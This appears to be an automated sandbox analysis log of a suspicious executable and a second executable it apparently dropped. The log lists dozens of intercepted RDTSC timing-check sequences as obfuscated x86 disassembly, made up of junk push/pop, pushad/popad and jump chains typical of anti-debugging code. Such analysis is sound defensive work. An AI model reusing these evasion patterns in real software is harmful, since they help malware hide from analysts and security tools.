Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0456 second address: 50B04A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 pushfd 0x00000006 jmp 00007FEBF907CE66h 0x0000000b jmp 00007FEBF907CE65h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 mov eax, 5E6D0733h 0x0000001b mov cx, E38Fh 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FEBF907CE5Ch 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B04A9 second address: 50B04AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0552 second address: 50B056F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B056F second address: 50B05C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEBF90902F7h 0x00000009 xor cx, 63DEh 0x0000000e jmp 00007FEBF90902F9h 0x00000013 popfd 0x00000014 mov ch, 86h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov al, byte ptr [edx] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FEBF90902F6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B05C8 second address: 50B0610 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEBF907CE61h 0x00000009 add esi, 4BCD6376h 0x0000000f jmp 00007FEBF907CE61h 0x00000014 popfd 0x00000015 call 00007FEBF907CE60h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e inc edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0610 second address: 50B0614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0614 second address: 50B061A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B061A second address: 50B063E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edi, cx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B063E second address: 50B05C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FEBF907CDB1h 0x0000000f mov al, byte ptr [edx] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEBF907CE66h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B067C second address: 50B06F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edi, dword ptr [ebp+08h] 0x00000009 jmp 00007FEBF90902F7h 0x0000000e dec edi 0x0000000f pushad 0x00000010 jmp 00007FEBF90902F4h 0x00000015 pushfd 0x00000016 jmp 00007FEBF90902F2h 0x0000001b add eax, 5AD03BA8h 0x00000021 jmp 00007FEBF90902EBh 0x00000026 popfd 0x00000027 popad 0x00000028 lea ebx, dword ptr [edi+01h] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FEBF90902F5h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B06F2 second address: 50B073C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c jmp 00007FEBF907CE5Eh 0x00000011 inc edi 0x00000012 pushad 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FEBF907CE5Ch 0x0000001a xor esi, 3BFA2398h 0x00000020 jmp 00007FEBF907CE5Bh 0x00000025 popfd 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B073C second address: 50B0772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 call 00007FEBF90902F4h 0x0000000b pop esi 0x0000000c mov bh, 41h 0x0000000e popad 0x0000000f popad 0x00000010 test al, al 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007FEBF90902EFh 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0772 second address: 50B0777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0777 second address: 50B07AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FEC6AF685D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEBF90902F7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B07AE second address: 50B080C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b pushad 0x0000000c mov si, CC73h 0x00000010 mov bx, ax 0x00000013 popad 0x00000014 shr ecx, 02h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FEBF907CE67h 0x00000020 jmp 00007FEBF907CE63h 0x00000025 popfd 0x00000026 movzx eax, bx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0937 second address: 50B093D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0B1D second address: 50B0B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0B21 second address: 50B0B27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0B27 second address: 50B0B3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov cx, EA21h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0B3A second address: 50B0B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0B3E second address: 50B0B44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0B44 second address: 50B0B96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEBF90902EEh 0x00000009 xor al, FFFFFFE8h 0x0000000c jmp 00007FEBF90902EBh 0x00000011 popfd 0x00000012 movzx esi, di 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FEBF90902ECh 0x00000023 jmp 00007FEBF90902F5h 0x00000028 popfd 0x00000029 mov ch, ECh 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0B96 second address: 50B0B9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A63142 second address: A6316A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEBF90902E6h 0x0000000a jc 00007FEBF90902E6h 0x00000010 popad 0x00000011 jmp 00007FEBF90902F7h 0x00000016 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A6316A second address: A63182 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE5Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FEBF907CE56h 0x0000000f rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A4580A second address: A4580F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A4580F second address: A45815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A62154 second address: A62165 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902EBh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A62165 second address: A62169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A6277C second address: A62793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEBF90902EFh 0x0000000d rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A62A52 second address: A62A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007FEBF907CE56h 0x0000000c rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A62A5E second address: A62A62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A62A62 second address: A62A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A64495 second address: A644BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 add dword ptr [esp], 4AA69AD2h 0x0000000e mov cx, 0342h 0x00000012 lea ebx, dword ptr [ebp+124592FEh] 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007FEBF90902ECh 0x00000021 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A64622 second address: A64626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A646B5 second address: A646BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A646BA second address: A646FA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEBF907CE67h 0x00000008 jmp 00007FEBF907CE61h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FEBF907CE5Fh 0x00000015 nop 0x00000016 mov esi, ecx 0x00000018 push 00000000h 0x0000001a mov edi, dword ptr [ebp+122D36F8h] 0x00000020 push 4890E4D8h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A646FA second address: A64723 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEBF90902F0h 0x00000010 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A64723 second address: A647A1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 4890E458h 0x00000012 mov edx, dword ptr [ebp+122D3698h] 0x00000018 push 00000003h 0x0000001a jmp 00007FEBF907CE5Ah 0x0000001f jmp 00007FEBF907CE68h 0x00000024 push 00000000h 0x00000026 mov ecx, 61EFCEF1h 0x0000002b push 00000003h 0x0000002d sub dx, 49A1h 0x00000032 sub dword ptr [ebp+122D330Ch], edx 0x00000038 call 00007FEBF907CE59h 0x0000003d jp 00007FEBF907CE6Ah 0x00000043 pushad 0x00000044 jmp 00007FEBF907CE60h 0x00000049 pushad 0x0000004a popad 0x0000004b popad 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push esi 0x00000050 jl 00007FEBF907CE56h 0x00000056 pop esi 0x00000057 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A647A1 second address: A647CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jmp 00007FEBF90902F1h 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 pop edx 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A647CE second address: A647D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A647D2 second address: A647E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A647E2 second address: A647EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FEBF907CE56h 0x0000000a rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A647EC second address: A647FE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A647FE second address: A64802 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A64802 second address: A64808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A64808 second address: A6480F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A6480F second address: A6482F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a lea ebx, dword ptr [ebp+12459312h] 0x00000010 mov dword ptr [ebp+122D20D6h], ecx 0x00000016 xchg eax, ebx 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jp 00007FEBF90902E6h 0x00000020 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A6482F second address: A6483D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A6483D second address: A64841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A64841 second address: A64857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A64857 second address: A6485D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A6485D second address: A64861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A564F4 second address: A564F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A564F8 second address: A5650E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF907CE5Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A5650E second address: A56514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A56514 second address: A56518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A56518 second address: A5651E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A5651E second address: A5653A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FEBF907CE62h 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A83976 second address: A8397A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A8397A second address: A839C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEBF907CE63h 0x0000000b jmp 00007FEBF907CE60h 0x00000010 popad 0x00000011 js 00007FEBF907CE86h 0x00000017 push eax 0x00000018 push edx 0x00000019 ja 00007FEBF907CE56h 0x0000001f jmp 00007FEBF907CE63h 0x00000024 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A83DB6 second address: A83DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A5652C second address: A5653A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEBF907CE56h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A83F01 second address: A83F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A83F05 second address: A83F13 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FEBF907CE56h 0x0000000e rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A83F13 second address: A83F19 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A8406A second address: A8406E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A8406E second address: A84082 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEBF90902EEh 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A841B7 second address: A841C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A84338 second address: A8433C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A8433C second address: A84357 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007FEBF907CE56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FEBF907CE5Dh 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A84357 second address: A843BD instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEBF90902F2h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FEBF90902F4h 0x00000010 jmp 00007FEBF90902F5h 0x00000015 js 00007FEBF90902E6h 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FEBF90902EBh 0x00000026 jmp 00007FEBF90902EFh 0x0000002b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A843BD second address: A843D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE62h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A843D9 second address: A843DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A843DD second address: A843E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A845A2 second address: A845A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A846BC second address: A846C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A846C0 second address: A846C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A846C8 second address: A84703 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEBF907CE5Eh 0x00000008 push edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FEBF907CE69h 0x00000019 je 00007FEBF907CE56h 0x0000001f rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A84703 second address: A84734 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEBF90902F2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jmp 00007FEBF90902F1h 0x00000011 je 00007FEBF90902E6h 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A84B67 second address: A84B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A84D02 second address: A84D1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FEBF90902E6h 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007FEBF90902E6h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A84D1C second address: A84D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A84D20 second address: A84D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: A84D30 second address: A84D34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
